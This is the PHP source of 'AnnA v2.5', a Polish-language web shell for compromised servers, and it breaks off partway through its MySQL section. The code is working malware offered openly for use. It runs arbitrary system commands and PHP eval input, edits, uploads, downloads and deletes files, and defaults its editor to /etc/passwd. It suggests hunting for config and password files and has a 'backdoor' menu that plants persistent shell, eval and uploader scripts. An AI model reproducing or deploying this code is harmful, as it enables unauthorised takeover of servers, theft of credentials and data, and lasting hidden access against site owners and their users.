<?php
#                   _____________________
#|||----------------____connecting...____---------------|||
#|||  _      _ _ ___ __    __ _____                     |||
#||| | |    | | |   \  \  /  |  _  |                    |||
#||| | | __ | | | |\ \  \/   | | | | PRODUCTIONS        |||
#||| | |/  \| | | | | |   /| | | | | www.twidmo.yoyo.pl |||
#||| |   /\   | | |/ / |\/ | | |_| | t.widmo@gmail.com  |||
#||| |__/  \__|_|___/__|   |_|_____|                    |||
#|||               _______________________              |||
#|||---------------__connection.closed..._--------------|||
#

#php shell AnnA v2.5 by WIDMO
#nie biorę żadnych odpowiedzialności za korzystanie ze skryptu niezgodnie z prawem... ;)

ob_start();
if(
$_GET["img"]!="" && $_GET["act"]!=""){
 
$img=$_GET["img"];
 
$imgs=array('dir' =>
                       
'Qk0OAwAAAAAAADYAAAAoAAAAEQAAAA4AAAABABgAAAAAANgCAA'.
                       
'AAAAAAAAAAAAAAAAAAAAAAGRkZGRkZFBQUDg4ODAwMDAwMDAwM'.
                       
'DAwMDAwMDAwMDAwMDAwMDAwMDAwMDg4OFBQUGRkZABkZGRYWFg'.
                       
'1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpA1zpAoK'.
                       
'Cg4ODhYWFgAZGRkZmcUcm8ab/v5s1v5s1v5s1v5s1v5s1v5s1v'.
                       
'5s1v5s1v5s1v4pmL4Nc6QMDAwVFRUAGRkZGZnFGpnFeuPvm/7+'.
                       
'fOL+fOL+fOL+fOL+fOL+fOL+fOL+fN7+Q7HdGnucCgoKExMTAB'.
                       
'kZGRmZxSahzkC31pv+/oPq/oPq/oPq/oPq/oPq/oPq/oPq/oPm'.
                       
'/kO57hmZxQoKCg4ODgAZGRkZmcVDsuEhn8ik/v6T9v6T9v6T9v'.
                       
'6T9v6T9v6T9v6T9v6T9v5TveZcu80Nc6QMDAwAGRkZGZnFcNT8'.
                       
'GZnFiO/2m/7+m/7+m/7+m/7+m/7+m/7+m/7+m/7+W8b+lfj6GX'.
                       
'uaDAwMABkZGRmZxYPW/hmZxWy+2f7+/v7+/vb6/v7+/v7+/v7+'.
                       
'/v7+/v7+/oPm/v7+/hl+oA4ODgAAAAAZmcWD6v5QwOEZmcUZmc'.
                       
'UZmcUZmcUZmcUZmcUZmcUZmcUZmcUZmcUZmcUZiLAAAAAAAAAA'.
                       
'GZnFm/L+i/L+i/L+i/L+i/L+i/L+/v7+/v7+/v7+/v7+/v7+GZ'.
                       
'nFGnucAAAAAAAAAAAAABmZxf7+/pv+/pv+/pv+/pv+/v7+/hmZ'.
                       
'xRmZxRmZxRmZxRmZxRmZxQAAAAAAAAAAAAAAAAAAAAAioc3+/v'.
                       
'7+/v7+/v7+/v4ZmcUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
                       
'AAAAAAAAAAAAAAAAIqHNIqHNIqHNIqHNAAAAAAAAAAAAAAAAAA'.
                       
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
                       
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA='.
                       
'',
             
'file' =>
                       
'Qk0iAwAAAAAAADYAAAAoAAAADgAAABEAAAABABgAAAAAAOwCAA'.
                       
'AAAAAAAAAAAAAAAAAAAAAAGRkZGRkZAAAAAAAAAAAAAAAAAAAA'.
                       
'AAAAAAAAAAAAAAAAAAAAAAAAGRkZAAAZGRmAgICAgICAgICAgI'.
                       
'CAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAABkZGYCAgP//'.
                       
'/////////////////////////////////////4CAgAAAAAAAGR'.
                       
'kZgICA////////////////////////////////////////gICA'.
                       
'AAAAAAAZGRmAgID///////8AAAAAAAAAAAAAAAAAAAAAAAD///'.
                       
'////+AgIAAAAAAABkZGYCAgP//////////////////////////'.
                       
'/////////////4CAgAAAAAAAGRkZgICA////////AAAAAAAAAA'.
                       
'AAAAAAAAAAAAAA////////gICAAAAAAAAZGRmAgID/////////'.
                       
'//////////////////////////////+AgIAAAAAAABkZGYCAgP'.
                       
'///////wAAAAAAAAAAAAAAAAAAAAAAAP///////4CAgAAAAAAA'.
                       
'GRkZgICA////////////////////////////////////////gI'.
                       
'CAAAAAAAAAAACAgID///////8AAAAAAAAAAAD///8AAAAAAAD/'.
                       
'//////+AgIAAAAAAAAAAAICAgP////////////////////////'.
                       
'///////////////4CAgAAAAAAAAAAAgICA////////////////'.
                       
'////////////////////////gICAAAAAAAAAAACAgID///8AAA'.
                       
'D///8AAAD///8AAAD///8AAAD///8AAACAgIAAAAAAAAAAAERE'.
                       
'RQAAAP///4CAgP///4CAgP///4CAgP///4CAgP///0RERQAAAA'.
                       
'AAAAAARERFRERFAAAARERFAAAARERFAAAARERFAAAARERFAAAA'.
                       
'RERFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
                       
'AAAAAAAAAAAAAAAAAAAA=='.
                       
'',
             
'img' =>
                       
'Qk02AwAAAAAAADYAAAAoAAAAEAAAABAAAAABABgAAAAAAAADAA'.
                       
'AAAAAAAAAAAAAAAAAAAAAAGRkZFhYWDw8PDAwMDAwMDAwMDAwM'.
                       
'DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDw8PGRkZkZGRkZGRkZ'.
                       
'GRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRDAwM'.
                       
'GRkZl5eXgcyBgcyBgs+IhNSThtmfhtmfiN6ri+O5jOW/jefDkO'.
                       
'zRmezPkZGRDAwMGRkZmpubIXYjIXYjI3gpI3gpI3gpJH4vNolJ'.
                       
'R5NhW7GBk/Lfk/PhlffrkZGRDAwMGRkZn5+fAUYBAUYBAUQBAU'.
                       
'QBAUcBAUcBAU0BATwBI4AtkvDZlvjtlPXnkZGRDAwMGRkZpKSl'.
                       
'AVABAVABATwBATkBATkBATkBEXQRCWgJecZ5gcyBe8p7dcd1kZ'.
                       
'GRDAwMGRkZqqmqIX4hIX4hAUoBATkBAT8BAVABRaFFZb5lZ8Jn'.
                       
'las90ZwZ5ZgNkZGRDAwMGRkZr6+vW7NbW7NbAVYBAUoBAWQBDX'.
                       
'MNkJEptIQTyoEJ33sB438B5YEBkZGRDAwMGRkZtLS1R7VHR7VH'.
                       
'C3ULF3kUEXEOeV8BxmEBxmEByWQBzGcBzGcBzGcBkZGRDAwMRE'.
                       
'RFuLm5Ra8yRa8yaalCv8l6r79t+uCZ7L902ZlOs04Bs04Bs04B'.
                       
'uFMBkZGRHh4fRERFvb2+/9J0/9J0/9J0/9J0/9J0/9J0/9J0/9'.
                       
'J0/deC78+Wxo1koDsBkZGRHh4fRERFwcHC/dB4/dB4/60n/60n'.
                       
'/rxK/rc//7Iz/dB4+Om5+O3E+O3E+ea7kZGRHh4fRERFxMTG9N'.
                       
'Wj9NWj9smD9smD9NWj9NWj9NWj9NWj9NWj9NWj9NWj99WikZGR'.
                       
'Hh4fRERFx8fI88+d88+d886c886c88ya88ya88uZ88qY88mX88'.
                       
'mX88iW9suZkZGRKCgpRERFwsPDwsPDwMDBvr2/u7u9ubi5tra2'.
                       
's7O0sLGxrq2uqqurqKeppKWmkZGROzs8RERFRERFRERFRERFRE'.
                       
'RFRERFRERFRERFRERFRERFRERFRERFRERFRERFRERFRERF'.
                       
'',
             
'exe' => 
                       
'Qk1CAwAAAAAAADYAAAAoAAAAEQAAAA8AAAABABgAAAAAAAwDAA'.
                       
'AAAAAAAAAAAAAAAAAAAAAAGRkZGBgYGBgYGBgYGBgYGBgYGBgY'.
                       
'GBgYGBgYFxcXFxcXFxcXFxcXFxcXFxcXFxcXGhoaABkZGYA8Gn'.
                       
'03FX03FX03FX04FX04FX04FX04FX05FX05FX05FX05FX05FX05'.
                       
'FWEwFxUVFQAZGRn////////////6///7//////////////////'.
                       
'/////////////////9///Jl3QVFRUAGRkZ/////P//+v//+v//'.
                       
'+v//+v//+v//+v//+v//+v//+v//+v//+v///P//yJR0FRUVAB'.
                       
'kZGf////v///z///r///r///r///r///r///r///r///r///r/'.
                       
'//r///v//8yWchUVFQAZGRn////5///6///6///6///6///6//'.
                       
'/6///6///6///6///6///6///7///QmW4VFRUAGRkZ////+f//'.
                       
'+v//+v//+v//+v//+v//+v//+v//+v//+v//+v//+v//+///1Z'.
                       
'tsFhYWABkZGf////n///r///n///r///r///r///r///r///r/'.
                       
'//r///r///r///r//9ecaxYWFgAZGRn////5///8///7///6//'.
                       
'/6///6///6///6///6///6///6///6///////bnmkWFhYARERF'.
                       
'////+f//+f//+v//+v//+v//+v//+v//+f//+v//+v///f///v'.
                       
'//////36JmPDw9AERERf////r///r///r///r///r///r///r/'.
                       
'//r///r///r///r///r//////+KjYzw8PQBEREXc387Z0rna07'.
                       
'na0rna07na07nZ07nZ0rna0rnZ0rnYz7bZ0bfYz7Tj0qrUjTg8'.
                       
'PD0ARERFy2wB0WwB0G8B0W4B0nME0XIG0W8Bz24B0W8Bz3AB5Z'.
                       
'dBz2sB9qJFL2v9z3ABPDw9AERERdV5DNyAF9t7Dtt6C9t6Ctx8'.
                       
'D9x9ENR8FtN4DtN3DdBxBNN2C9FyBOB7A5JbH0RERQBEREVERE'.
                       
'VEREVEREVEREVEREVEREVEREVEREVEREVEREVEREVEREVEREVE'.
                       
'REVEREVEREUA'.
                       
'');
 
//header("Content-type: image/gif");
 
echo base64_decode($imgs[$img]);
}
?>
<meta http-equiv="content-type" content="text/html;charset=windows-1250">
<style>
body{
 background-color:black;
}

textarea{
 border:1px solid gray;
 background-color:black;
 color:gray;
}

textarea:hoover{
 border:1px solid gray;
 background-color:#363232;
 color:gray;
}

input{
 border:1px solid gray;
 background-color:black;
 color:gray;
}

input:hover{
 border:1px solid gray;
 background-color:#363232;
 color:gray;
}

a{
 color:gray;
 text-decoration:none;
}

a:hover{
 color:white;
 text-decoration:none;
}

fieldset{
 border:3px inset gray;
 background-color:black;
 color:white;
}
</style>
<script language="javascript" type="text/javascript">
function show(what){
 if(document.getElementById(what).style.display=="none"){
  document.getElementById(what).style.display="block";
 }else{
  document.getElementById(what).style.display="none";
 }
 document.getElementById("forms").style.display="block";
 document.getElementById("showtrue").style.display="none";
}//pojawiam się i znikam, i znikam...
if(document.title==""){document.title="AnnA v2.5 by widmo";}else{document.title+=" - AnnA v2.5 by widmo";}
</script>
<?php

function showtrue($msg){
 echo 
'<div id="showtrue"><fieldset><legend>Wynik:</legend><center>';
 echo 
$msg;
 echo 
'</center></fieldset></div><br>';
}
//showtrue("OK.");

function super_size_me($what){
 if(
$what>=1073741824){
  
$what=@round($what/1073741824*100)/100 ." GB";
 }elseif(
$what>=1048576){
  
$what=@round($what/1048576*100)/100 ." MB";
 }elseif(
$what>=1024){
  
$what=@round($what/1024*100)/100 ." KB";
 }else{
  
$what=$what." B";
 }
  return 
$what;
}

function 
perms($p){
  
$prms=@fileperms($p);
  if((
$prms 0xC000)==0xC000){
   
$info='s';
  }elseif((
$prms 0xA000) == 0xA000){
   
$info 'l';
  }elseif((
$prms 0x8000) == 0x8000){
   
$info '-';
  }elseif((
$prms 0x6000) == 0x6000){
   
$info 'b';
  }elseif((
$prms 0x4000) == 0x4000){
   
$info 'd';
  }elseif((
$prms 0x2000) == 0x2000){
   
$info 'c';
  }elseif((
$prms 0x1000) == 0x1000){
   
$info 'p';
  }else{
   
$info='u';
  }
  
$info.=(($prms 0x0100)?'r':'-');
  
$info.=(($prms 0x0080)?'w':'-');
  
$info.=(($prms 0x0040)?(($prms 0x0800)?'s':'x'):(($prms&0x0800)?'S':'-'));
  
$info.=(($prms 0x0020)?'r':'-');
  
$info.=(($prms 0x0010)?'w':'-');
  
$info.=(($prms 0x0008)?(($prms 0x0400)?'s':'x'):(($prms&0x0400)?'S':'-'));
  
$info.=(($prms 0x0004)?'r':'-');
  
$info.=(($prms 0x0002)?'w':'-');
  
$info.=(($prms 0x0001)?(($prms 0x0200)?'t':'x'):(($prms&0x0200)?'T':'-'));
  return 
$info;
}

if(@
ini_get("safe_mode")=="1"){$safe_mode='<font color="red">ON</font>';}else{$safe_mode='<font color="green">OFF</font>';}
if(@
ini_get("disable_functions")!=""){$dis_functions="<font color='red'>".@ini_get("disable_functions")."</font>";}else{$dis_functions="<font color='green'>BRAK</font>";}
if(
$_POST["dir"]==""){$dir=@getcwd()."/";}else{$dir=$_POST["dir"]."/";}
if(
$_POST["dir"]=="" && $_POST["actual_dir"]!=""){$dir=$_POST["actual_dir"];}
$dir=@str_replace("\\","/",$dir);
$dir=@str_replace("//","/",$dir);
 echo 
'
 <div style="background-color:black;color:white;width:100%;position:absolute;left:1px;top:1px;border:1px outset gray;" id="main">
  <fieldset><center><font size=6><b><a href="http://www.twidmo.yoyo.pl">AnnA v2.5 by WIDMO</a></b></font></center>
  <font size="2"><center>----| <b>safe mode:'
.$safe_mode.'</b>; <b>disabled_functions:'.$dis_functions.'</b> |----</center>
  <!-- R.I.P. -->
  <br><center><form method="post" name="dir_n" id="dir_n"><b style="font-size:13;"></b><input type="text" value="'
.$dir.'" name="dir"  style="font-size:12;text-align:center;" size="70"> <input type="submit" value="OK"  style="font-size:12;width:50;"></form></font>
  <br><br><center><font size="2">OS: '
.@php_uname().'</font></center>
  </fieldset>
  <fieldset style="background-color:#363232;"><center><font size="2">
  ----|
   <a href="javascript:document.menu.action.value=\'pliki\';document.menu.submit();"><b>PLIKI</b></a>
   |
   <a href="javascript:document.menu.action.value=\'edit\';document.menu.rfilename.value=\'/etc/passwd\';document.menu.submit();"><b>EDYTOR</b></a>
   |
   <a href="javascript:document.menu.action.value=\'nowyplikfolder\';document.menu.actual_dir.value=\''
.$dir.'\';document.menu.submit();"><b>NOWY PLIK/FOLDER</b></a>
   |
   <a href="javascript:document.menu.action.value=\'uploader\';document.menu.actual_dir.value=\''
.$dir.'\';document.menu.submit();"><b>UPLOADER</b></a>
   |
   <a href="javascript:document.menu.action.value=\'osshell\';document.menu.submit();"><b>OS SHELL</b></a>
   |
   <a href="javascript:document.menu.action.value=\'definedvars\';document.menu.submit();"><b>DEFINED_VARS</b></a>
   |
   <a href="javascript:document.menu.action.value=\'mysql\';document.menu.submit();"><b>MySQL</b></a>
   |
   <a href="javascript:document.menu.action.value=\'phpeval\';document.menu.submit();"><b>PHP_EVAL</b></a>
   |
   <a href="javascript:document.menu.action.value=\'phpinfo\';document.menu.submit();"><b>PHPINFO</b></a>
   |
   <a href="javascript:document.menu.action.value=\'info\';document.menu.submit();"><b>PHPINFO 2</b></a>
   |
   <a href="javascript:document.menu.action.value=\'search\';document.menu.submit();"><b>SEARCH</b></a>
   |
   <a href="javascript:document.menu.action.value=\'tylnafurtka\';document.menu.submit();"><b>TYLNA FURTKA</b></a>
   |
   <a href="javascript:document.menu.action.value=\'delete_me\';document.menu.submit();"><b>USUŃ AnnA</b></a>
  |----
  </font>
  </center></fieldset>'
;
###########################
#|       FORMS
echo '<div id="forms" style="display:block;"><fieldset style="color:gray;">';

  echo 
'
  <form method="post" action="" name="menu" id="menu">
   <input type="hidden" name="action" id="action">
   <input type="hidden" name="actual_dir" id="actual_dir">
   <input type="hidden" name="rfilename" id="rfilename">
  </form>
  <form method="post" name="download" id="download">
   <input type="hidden" name="ddir">
   <input type="hidden" name="dfile">
  </form>'
;

if(
$_POST["dfile"]!=""){
 
$act_dir_download=getcwd();
 
$act_dir_download=@str_replace("\\","/",$dir);
 
$act_dir_download=@str_replace("//","/",$dir);
 
$file_down=$act_dir_download."/".$_POST["dfile"];
 
ob_clean();
 
header('Content-Type: application/octet-stream');
 
header('Content-Length: '.@filesize($file_down).'');
 
header('Content-Disposition: attachment; filename="'.$file_down.'"');
 
readfile($file_down);
}

if((
$_POST["action"]=="pliki" || $_POST["dir"]!="" || $_POST["action"]=="") && $_POST["ftoedit"]=="" && $_POST["rfilename"]==""){
      echo 
'<center>';                                                                                                                                                                                                        ///                                                                                                       //////                                                                      /////                                                                                                    /////////////
      
echo '<table border="2" style="width:90%;text-align:center;color:white;font-size:15px;"><td style="background-color:#363232;"><font color="white" size="2"><center><b>nazwa pliku</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>typ</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>rozmiar</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>prawa</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>modyfikowany</b></center></font></td><td style="background-color:#363232;"><font color="white" size="2"><center><b>akcja</b></center></font></td>';
       
$dir1=@opendir($dir);
        while(
$plik=@readdir($dir1)){
         if(@
filetype($dir.$plik)=="dir"){
           
$dirs[]=$plik;
         }

         if(@
filetype($dir.$plik)=="file"){
          
$files[]=$plik;
         }
        }
      
// ".", ".."
       
echo '<tr onmouseover=\'this.style.background="#363232"\' onmouseout=\'this.style.background="black"\'><td width="500" style="text-align:left;"><img src="'.$PHP_SELF.'?act=img&img=dir">&nbsp;&nbsp;<a href="javascript:document.dir_n.dir.value=\''.$dir.'./'.'\';document.dir_n.submit();" title="przejdź do katalogu .">.</a></font></td><td><font color="white" size="2">folder</font></td><td><font color="white" size="2"><center>----</center></font></td><td><font color="white" size="2"><center>'.perms($dir).'</center></font></td><td><font size="2" color="white">'.@date("d-m-Y H:i:s",@filectime($dir)).'</font></td><td><font color="white" size="2">&nbsp;<a href="javascript:document.del.del_dir.value=\''.$dir.'./'.'\';document.del.submit();" title="usuń katalog .">[x]</a>&nbsp; <a href="javascript:document.dir_n.dir.value=\''.$dir.'./'.'\';document.dir_n.submit();" title="przejdź do katalogu .">[o]</a>&nbsp;</font></td></tr>';
       echo 
'<tr onmouseover=\'this.style.background="#363232"\' onmouseout=\'this.style.background="black"\'><td width="500" style="text-align:left;"><img src="'.$PHP_SELF.'?act=img&img=dir">&nbsp;&nbsp;<a href="javascript:document.dir_n.dir.value=\''.$dir.'../'.'\';document.dir_n.submit();" title="przejdź do katalogu wyżej">..</a></font></td><td><font color="white" size="2">folder</font></td><td><font color="white" size="2"><center>----</center></font></td><td><font color="white" size="2"><center>'.perms($dir."/../").'</center></font></td><td><font size="2" color="white">'.@date("d-m-Y H:i:s",@filectime($dir."/../")).'</font></td><td><font color="white" size="2">&nbsp;<a href="javascript:document.del.del_dir.value=\''.$dir.'../'.'\';document.del.submit();" title="usuń folder ..">[x]</a>&nbsp; <a href="javascript:document.dir_n.dir.value=\''.$dir.'../'.'\';document.dir_n.submit();" title="przejdź do katalogu wyżej">[o]</a>&nbsp;</font></td></tr>';
       if(
$dirs!=""){
        foreach(
$dirs as $dir_one){
         if(
$dir_one!="." && $dir_one!=".."){
          echo 
'<tr onmouseover=\'this.style.background="#363232"\' onmouseout=\'this.style.background="black"\'><td width="500" style="text-align:left;"><img src="'.$PHP_SELF.'?act=img&img=dir">&nbsp;&nbsp;<a href="javascript:document.dir_n.dir.value=\''.$dir.$dir_one.'/'.'\';document.dir_n.submit();" title="przejdź do katalogu '.$dir_one.'">'.$dir_one.'</a></font></td><td><font color="white" size="2">folder</font></td><td><font color="white" size="2"><center>----</center></font></td><td><font color="white" size="2"><center>'.perms($dir_one).'</center></font></td><td><font size="2" color="white">'.@date("d-m-Y H:i:s",@filectime($dir_one)).'</font></td><td><font color="white" size="2">&nbsp;<a href="javascript:document.del.del_dir.value=\''.$dir.$dir_one.'/'.'\';document.del.submit();" title="usuń katalog '.$dir_one.'">[x]</a>&nbsp; <a href="javascript:document.dir_n.dir.value=\''.$dir.$dir_one.'/'.'\';document.dir_n.submit();" title="przejdź do katalogu '.$dir_one.'">[o]</a>&nbsp;&nbsp;</font></td></tr>';
          
flush(stdout);
         }
        }
       }

       if(
$files!=""){
        foreach(
$files as $plik_one){
         
$ext_f=explode(".",$plik_one);
         
$ext=$ext_f[(count($ext_f)-1)];
         if(
$ext=="jpg" || $ext=="gif" || $ext=="bmp" || $ext=="png"){
          
$imgtype="img";
         }elseif(
$ext=="exe" || $ext=="bat"){
          
$imgtype="exe";
         }else{
$imgtype="file";}
         echo 
'<tr onmouseover=\'this.style.background="#363232"\' onmouseout=\'this.style.background="black"\'><td width="500" style="text-align:left;"><img src="'.$PHP_SELF."?act=img&img=".$imgtype.'">&nbsp;&nbsp;<a href="javascript:document.menu.action.value=\'edit\';document.menu.rfilename.value=\''.$dir.$plik_one.'\';document.menu.submit();" title="edytuj plik '.$plik_one.'">'.$plik_one.'</a></font></td><td><font color="white" size="2">plik</font></td><td><font color="white" size="2"><center>'.@super_size_me(@filesize($plik_one)).'</center></font></td><td><font color="white" size="2"><center>'.perms($plik_one).'</center></font></td><td><font color="white" size="2">'.@date("d-m-Y H:i:s",@filectime($plik_one)).'</font></td><td><font color="white" size="2">&nbsp;<a href="javascript:document.del.delete_f.value=\''.$dir.$plik_one.'\';document.del.submit();" title="usun plik '.$plik_one.'">[x]</a>&nbsp; <a href="javascript:document.menu.action.value=\'edit\';document.menu.rfilename.value=\''.$dir.$plik_one.'\';document.menu.submit();" title="edytuj plik '.$plik_one.'">[e]</a>&nbsp;&nbsp;<a href=javascript:document.download.dfile.value="'.$plik_one.'";document.download.submit(); title="pobierz plik '.$plik_one.'">[d]</a>&nbsp;</font></td></tr>';
         
flush(stdout);
        }
       }

        echo 
'</table>';
      echo 
'<form method="post" action="" name="del">';
       echo 
'<input type="hidden" name="del_dir">
             <input type="hidden" name="delete_f">'
;
      echo 
'</form></center>';
}
//show

if($_POST["rfilename"]!="" || $_POST["action"]=="edit"){
 
$looked=$_POST["rfilename"];
 if(
file_exists($looked)){$file=htmlspecialchars(file_get_contents($looked));}else{$file="# podany w zapytaniu plik nie istnieje...";}
  echo(
'<center><form method="post"><input type="text" name="rfilename" value="'.htmlspecialchars($_POST["rfilename"]).'" size="80"></form>
        <form method="post" action=""><textarea rows="25" cols="120" name="ftoedit">'
.$file.'</textarea>
        <input type="hidden" name="rfilename" value="'
.$_POST["rfilename"].'"><br><input type="submit" value="edytuj"></form></center>');
}
//look

if($_POST["ftoedit"]!="" && $_POST["rfilename"]!=""){
 
$notname=$_POST["rfilename"];
 
$newcont=stripslashes($_POST["ftoedit"]);
 if(
$notname1=@fopen($notname,"w")){
  @
fputs($notname1,$newcont);
  @
fclose($notname1);
  echo(
"<center># plik zostal zedytowany</center>");
 }else{
  echo(
"<center># nie można zedytowac tego pliku</center>");
 }
}

if(
$_POST["action"]=="nowyplikfolder"){
     echo 
'<center><form method="post" action="">';
      echo 
'<div style="border:1px dashed white;width:30%;"><a href=javascript:show("nowyplik")><b>NOWY PLIK</b></a></div><div style="border:1px dashed white;display:none;width:30%;" id="nowyplik"><br>
            Nazwa pliku: <br><input type="text" name="nfilename"  size="54">'
;
      echo 
'<br><br>Do folderu: <br><input type="text" name="nf_dir" value="'.$_POST["actual_dir"].'" size="54" >';
      echo 
'<br><br>Zawartość: <br><textarea rows="5" cols="40" name="nfilecontents"></textarea>';
      echo 
'<br><input type="submit" value="execute" ><br><br></div>';
     echo 
'</form></center>';
      echo 
'<center><form method="post"><div style="border:1px dashed white;width:30%;"><a href=javascript:show("nowyfolder")><b>NOWY FOLDER</b></a></div><div style="border:1px dashed white;display:none;width:30%;" id="nowyfolder"><br><input type="text" name="mk_dir"  size="54"><br>Do folderu: <br><input type="text" name="nf_dir" value="'.$_POST["actual_dir"].'"  size="54"><br><input type="submit" value="execute" ><br><br></div></form></center>';
}
    
if(
$_POST["action"]=="uploader"){
     echo 
'<center><form method="post" action="" enctype="multipart/form-data">';
      echo 
'<input type="file" name="upload_file" size="70">';
      echo 
'<br><input type="text" name="upload_into_dir" value="'.$_POST["actual_dir"].'"  size="70">';
      echo 
'<br><input type="submit" value="upload!"  name="uploaded_f_submit">';
     echo 
'</form></center>';
}

if(
$_POST["action"]=="osshell" || $_POST["com"]!=""){
     echo 
'<center><form method="post" action="" name="os_shell">';
     echo 
'<input type="text" name="com"  size="106" value="'.htmlspecialchars($_POST["com"]).'" onfocus=this.value="">';
     echo 
'</form></center>';
     if(
$_POST["com"]!=""){
      if(!
$com_ex=@shell_exec($_POST["com"])){
       
$com_ex=system($_POST["com"]);
      }
     }else{
      
$com_ex="tutaj pojawi się wynik polecenia...";
     }
     echo(
'<center><textarea rows="20" cols="80">'.htmlspecialchars($com_ex).'</textarea></center>');
}

if(
$_POST["action"]=="definedvars"){
     echo 
'<center>';
      
$def_vars=@get_defined_vars();
      echo 
'<textarea rows="15" cols="100" name="ftoedit">';
      
print_r($def_vars);
      echo 
'</textarea>';
     echo 
'</center>';
}

if(
$_POST["action"]=="mysql" && $_COOKIE["sql_host"]=="" && $_COOKIE["sql_baza"]=="" && $_COOKIE["sql_login"]==""){
     echo 
'<center><form method="post" action="">';
      echo 
'Host: <input type="text" name="sql_host" >
            <br>Baza: <input type="text" name="sql_baza" >
            <br>Login: <input type="text" name="sql_login" >
            <br>Hasło: <input type="text" name="sql_haslo" >
            <br><input type="submit" value="execute" >'
;
    echo 
'</form></center>';
}

if(
$_POST["action"]=="phpeval"){
     echo 
'<center><form method="post" action="">';
      echo 
'<br><textarea rows="5" cols="60" name="eval_com"></textarea>';
      echo 
'<br><input type="submit" value="execute" >';
     echo 
'</form></center>';
}
    
if(
$_POST["action"]=="search"){
     echo 
'<center><form method="post" action="" name="searcher">';
      echo 
'<font size="2">Wyszukiwarka plików na serwerze (polecam wyszukiwanie config.php, hasla.php itd. ;) )</font>';
      echo 
'<br><br><input type="text" name="search_f" >';
      echo 
'<br><input type="submit" value="execute" >';
     echo 
'</form></center>';
}
    
if(
$_POST["action"]=="delete_me"){
     echo 
'
     <center><form method="post" action="" id="del_anna">
      <p><b>Czy chcesz usunąć AnnA php shell?</b></p>
      <input name="del_me" type="submit" value="TAK">
     </form></center>'
;
}
    
if(
$_POST["action"]=="tylnafurtka"){
     echo 
'
     <center>
       <p>Opcja "tylna furtka" pozwala na pozostawienie na serwerze skryptu, który pozwala na kilka dowolnie wybranych operacji.</p>
       <div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_uploader")><b>UPLOADER</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_uploader"><br>
        <form method="post" action="">
         Gdzie ma być zostawiony uploader?
         <br><input type="text" name="backdoor_self_upload_dir" value="'
.$dir.'class_html.php"  size="90" style="text-align:center;">
         <br><br>Do którego folderu skrypt ma wgrywać pliki?
         <br><input type="text" name="backdoor_file_upload_dir" value="'
.$dir.'"  size="90" style="text-align:center;">
         <br><br><input type="submit" value="execute" >
        </form>
       </div>
       <div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_shell")><b>OS SHELL</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_shell"><br>
        <form method="post" action="">
         Miejsce pozostawienia skryptu:
         <br><input type="text" name="bd_os_shell"  value="'
.$dir.'os.php" size="90">
         <br><input type="submit" value="execute" >
        </form>
       </div>
       <div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_php_eval")><b>PHP EVAL</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_php_eval"><br>
        <form method="post" action="">
         Miejsce pozostawienia skryptu:
         <br><input type="text" name="bd_php_eval"  value="'
.$dir.'eval.php" size="90">
         <br><input type="submit" value="execute" >
        </form>
       </div>
       <div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_edit")><b>EDYTOR [na hasło]</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_edit"><br>
        <form method="post" action="">
         Miejsce pozostawienia skryptu:
         <br><input type="text" name="bd_edit"  value="'
.$dir.'edit.php" size="90">
         <br>Hasło uruchamiające skrypt:
         <br><input type="text" name="bd_edit_pass"  size="90">
         <br><input type="submit" value="execute" >
        </form>
       </div>
       <div style="border:1px dashed white;width:50%;"><a href=javascript:show("bd_defined_vars")><b>DEFINED VARS [na hasło]</b></a></div><div style="border:1px dashed white;display:none;width:50%;" id="bd_defined_vars"><br>
        <form method="post" action="">
         Miejsce pozostawienia skryptu:
         <br><input type="text" name="bd_defined_vars"  value="'
.$dir.'definedv.php" size="90">
         <br>Hasło uruchamiające skrypt:
         <br><input type="text" name="bd_defined_vars_pass"  size="90">
         <br><input type="submit" value="execute" >
        </form>
       </div>
     </center>
     '
;
}

echo 
'</fieldset></div>';
###########################
#     E X E C U T E

if($_POST["delete_f"]!=""){
 if(@
file_exists($_POST["delete_f"])){
  if(!@
unlink($_POST["delete_f"])){
   @
del($_POST["delete_f"]);
  }else{
   
showtrue("#plik ".$_POST["delete_f"]." został pomyślnie usunięty");
  }
//deletowanie
 
}else{
  
showtrue("#plik, ".$_POST["delete_f"]." nie istnieje!");
  die();
 }
}
//usuwanie pliku

if($_POST["del_dir"]!=""){
 if(@
rmdir($_POST["del_dir"])){showtrue("#Folder został usunięty");}else{showtrue("#Error: Folder nie został usunięty");}
}

if(
$_POST["mk_dir"]!=""){
 if(@
mkdir($_POST["nf_dir"].$_POST["mk_dir"])){
  
showtrue("#Nowy folder został utworzony");
 }else{
  
showtrue("#ERROR: Nowy folder nie został utworzony");
 }
}

if(
$_POST["nfilename"]!="" && $_POST["nfilecontents"]!=""){
 
$fname=$_POST["nfilename"];
 
$cont=$_POST["nfilecontents"];
 if(
file_exists($fname)){
  
showtrue("#plik, ".$fname." już istnieje");
  die();
 }
//istnieje $fname
 
if($ofile=@fopen($_POST["nf_dir"].$fname,"w")){
  @
fputs($ofile,$cont);
  @
fclose($ofile);
  
showtrue("#nowy plik został utworzony");
 }else{
  
showtrue("#tworzenie pliku nieudane");
  die();
 }
//wstawia, fopen (a)
}//nowy plik

################################
#      M y S Q L
if($_POST["sql_host"]!="" && $_POST["sql_baza"]!="" && $_POST["sql_login"]!=""){
 
setcookie("sql_host",$_POST["sql_host"],time()+9999);
 
